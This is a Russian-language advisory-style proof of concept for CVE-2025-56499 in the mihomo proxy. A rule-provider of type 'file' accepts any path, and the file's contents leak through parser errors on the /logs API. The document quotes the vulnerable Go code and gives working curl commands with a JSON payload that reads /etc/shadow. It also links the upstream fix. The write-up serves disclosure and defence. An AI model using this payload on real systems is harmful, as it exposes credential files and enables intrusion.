
Доказательство концепции эксплойта для CVE-2025-56499, демонстрирующее произвольное чтение файлов из-за отсутствия проверки пути в конфигурации rule-provider в mihomo, с эксфильтрацией данных на основе журналов.
Чтение произвольных файлов из-за отсутствия проверки пути в локальном провайдере правил
Исправление в апстриме: https://github.com/MetaCubeX/mihomo/pull/2177
Затронутые версии: mihomo <= v1.19.11
При разборе конфигурации rule-providers ветвь type = "file" не проверяет указанный путь. Аутентифицированный злоумышленник, контролирующий schema.Path, может указать провайдеру на любой читаемый локальный файл. Поскольку большинство произвольных файлов не соответствуют ожидаемому формату правил, ошибки разбора (включая значительные фрагменты содержимого файла) попадают в логи в памяти и раскрываются через API /logs. Так как mihomo часто работает с повышенными привилегиями (root / администратор), это приводит к раскрытию информации с высоким уровнем воздействия.
rules/provider/parse.go случай schema.Type == "file" только вызывает C.Path.Resolve() и никогда не проверяет C.Path.IsSafePath() или любые другие ограничения белого списка / песочницы.var vehicle P.Vehicle
switch schema.Type {
case "file":
path := C.Path.Resolve(schema.Path)
vehicle = resource.NewFileVehicle(path)
case "http":
path := C.Path.GetPathByHash("rules", schema.URL)
if schema.Path != "" {
path = C.Path.Resolve(schema.Path)
if !C.Path.IsSafePath(path) {
return nil, C.Path.ErrNotSafePath(path)
}
}
vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}
Недостатки ветви файла:
/logs для захвата вывода ошибок парсера./configs, содержащую вредоносную запись rule-providers с type = file и целевым путём.Прослушивание логов (пример токена Bearer 123):
curl -X GET "http://localhost:9999/logs" \
-H "Authorization: Bearer 123"
Внедрение конфигурации для чтения /etc/shadow:
curl -X PUT "http://localhost:9999/configs" \
-H "Authorization: Bearer 123" \
-H "Content-Type: application/json" \
-d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'
Платёж без экранирования:
{
"log-level": "debug",
"external-controller-unix": "mihomo.sock",
"rule-providers": {
"pwn": {
"type": "file",
"behavior": "classical",
"format": "text",
"path": "/etc/shadow"
}
}
}
Результат: строки ошибок разбора в /logs содержат фрагменты /etc/shadow (пример скриншота):
